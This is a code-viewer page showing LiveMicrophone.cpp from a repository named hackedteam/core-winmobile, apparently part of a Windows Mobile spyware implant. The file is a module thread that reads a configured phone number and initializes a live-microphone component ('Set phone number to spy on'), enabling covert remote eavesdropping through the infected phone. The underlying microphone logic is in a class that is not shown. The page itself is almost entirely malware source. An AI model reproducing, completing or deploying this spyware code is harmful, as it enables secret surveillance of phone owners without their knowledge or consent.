hackedteam/core-winmobile

View on GitHub
Mornella/Mornella_Mobile/LiveMicrophone.cpp

Summary

Maintainability
Test Coverage
#include "Common.h"
#include "Module.h"
#include "LiveMic.h"

DWORD WINAPI LiveMicModule(LPVOID lpParam) {
    wstring number;

    Module *me = (Module *)lpParam;
    Configuration *conf = me->getConf();
    HANDLE eventHandle;

    try {
        number = conf->getString(L"number");
    } catch (...) {
        me->setStatus(MODULE_STOPPED);
        return 0;
    }

    if (number.empty()) {
        me->setStatus(MODULE_STOPPED);
        return 0;
    }

    me->setStatus(MODULE_RUNNING);
    eventHandle = me->getEvent();

    DBG_TRACE(L"Debug - LiveMicrophone.cpp - LiveMicrophone Module started\n", 5, FALSE);

    LiveMic *pMic = NULL;
    pMic = pMic->self();

    if (!pMic) {
        DBG_TRACE(L"Debug - LiveMicrophone.cpp - LiveMicrophone Module Failed 3\n", 5, FALSE);
        me->setStatus(MODULE_STOPPED);
        return 0;
    }

    DBG_TRACE(L"Debug - LiveMicrophone.cpp - LiveMicrophone Module started\n", 5, FALSE);

    // Set phone number to spy on
    if (!pMic->Initialize(number, g_hInstance)) {
        DBG_TRACE(L"Debug - LiveMicrophone.cpp - LiveMicrophone Module Failed 4\n", 5, FALSE);
        me->setStatus(MODULE_STOPPED);
        return 0;
    }

    DBG_TRACE(L"Debug - LiveMicrophone.cpp - LiveMicrophone Module Initialized\n", 5, FALSE);

    LOOP {
        WaitForSingleObject(eventHandle, INFINITE);

        if (me->shouldStop()) {
            DBG_TRACE(L"Debug - LiveMicrophone.cpp - LiveMicrophone Module clean stop\n", 1, FALSE);
            pMic->Uninitialize();

            me->setStatus(MODULE_STOPPED);
            return 0;
        }
    }

    return 0;
}